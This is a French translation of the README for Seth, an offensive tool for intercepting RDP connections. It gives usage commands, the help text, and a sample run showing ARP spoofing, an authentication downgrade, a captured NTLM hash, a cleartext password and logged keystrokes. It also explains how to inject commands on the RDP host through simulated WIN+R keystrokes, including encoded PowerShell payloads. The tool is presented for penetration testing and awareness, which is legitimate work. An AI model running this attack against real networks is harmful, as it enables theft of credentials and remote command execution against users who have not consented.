
Effectuez une attaque MitM et extrayez des identifiants en texte clair depuis des connexions RDP.
Seth est un outil écrit en Python et Bash pour MitM (intercepter) les connexions RDP en tentant de rétrograder la connexion afin d'extraire les identifiants en texte clair. Il a été développé pour sensibiliser et éduquer sur l'importance des connexions RDP correctement configurées dans le cadre de tests d'intrusion, d'ateliers ou de conférences. L'auteur est Adrian Vollmer (SySS GmbH).
Exécutez-le ainsi :
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
Sauf si l'hôte RDP est sur le même sous-réseau que la machine victime, la dernière adresse IP doit être celle de la passerelle.
Le dernier paramètre est optionnel. Il peut contenir une commande qui est exécutée sur l'hôte RDP en simulant WIN+R via une injection d'événements de touches. L'injection de touches dépend de la disposition du clavier utilisée par la victime - actuellement, elle n'est fiable qu'avec la disposition anglaise américaine. Je suggère d'éviter les caractères spéciaux en utilisant powershell -enc <STRING>, où STRING est votre commande encodée en UTF-16le et Base64. Cependant, calc devrait être assez universel et fait l'affaire.
Le script shell effectue un empoisonnement ARP (ARP spoofing) pour obtenir une position d'homme du milieu (Man-in-the-Middle) et redirige le trafic de sorte qu'il passe par un proxy RDP. Le proxy peut être appelé séparément. Cela peut être utile si vous souhaitez utiliser Seth en combinaison avec Responder. Utilisez Responder pour obtenir une position d'homme du milieu et exécutez Seth en même temps. Exécutez seth.py -h pour plus d'informations :
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
Pour plus d'informations, lisez le PDF dans doc/paper (ou lisez le code !). Le document contient également des recommandations pour les contre-mesures.
Vous pouvez également regarder une présentation de vingt minutes incluant une démo (commençant à 14:00) sur Youtube : https://www.youtube.com/watch?v=wdPkY7gykf4
Ou regardez uniquement la démo (avec sous-titres) ici : https://www.youtube.com/watch?v=JvvxTNrKV-s
La sortie suivante montre la vue de l'attaquant. Seth capture un hachage craquable hors ligne ainsi que le mot de passe en texte clair. Ici, NLA n'est pas appliqué et la victime a ignoré l'avertissement de certificat.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof fait partie de dsniff
openssl
Utilisez à vos propres risques. Ne l'utilisez pas sans le consentement complet de toutes les personnes impliquées. À des fins éducatives uniquement.